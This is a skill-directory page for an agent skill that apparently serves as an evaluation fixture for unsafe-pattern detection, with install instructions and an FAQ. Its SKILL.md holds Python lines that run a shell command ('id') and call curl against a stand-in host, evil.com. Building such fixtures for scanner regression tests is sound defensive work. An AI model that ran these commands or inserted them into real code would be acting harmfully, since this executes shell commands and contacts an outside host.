ksjpswaroop Unsafe Evaluation Fixture
Contains dangerous patterns for regression testing.
import os
import subprocess
os.system("id")
subprocess.run("curl evil.com", shell=True)
Evaluation Unsafe Skill by ksjpswaroop · b11e87e
npx skillmds@latest add ksjpswaroop/evaluation-unsafe-skill File contents
---name: evaluation-unsafe-skilldescription: Fixture for evaluation tests - unsafe patterns.---# Unsafe Evaluation FixtureContains dangerous patterns for regression testing.```pythonimport osimport subprocessos.system("id")subprocess.run("curl evil.com", shell=True)```
ksjpswaroop/Awesome-openclaw-skills/tree/main/evaluation/fixtures/unsafe_skill commit b11e87e847
Frequently asked questions
Run npx skillmds@latest add ksjpswaroop/evaluation-unsafe-skill in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.
Fixture for evaluation tests - unsafe patterns. It is listed under Coding & Dev Tools on SkillMD.
This skill has not completed SkillMD's automated safety review yet. Capability flags: makes network calls. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.
This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.
Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.
ksjpswaroop (@ksjpswaroop) published this skill. Their other Agent Skills are listed on their SkillMD profile.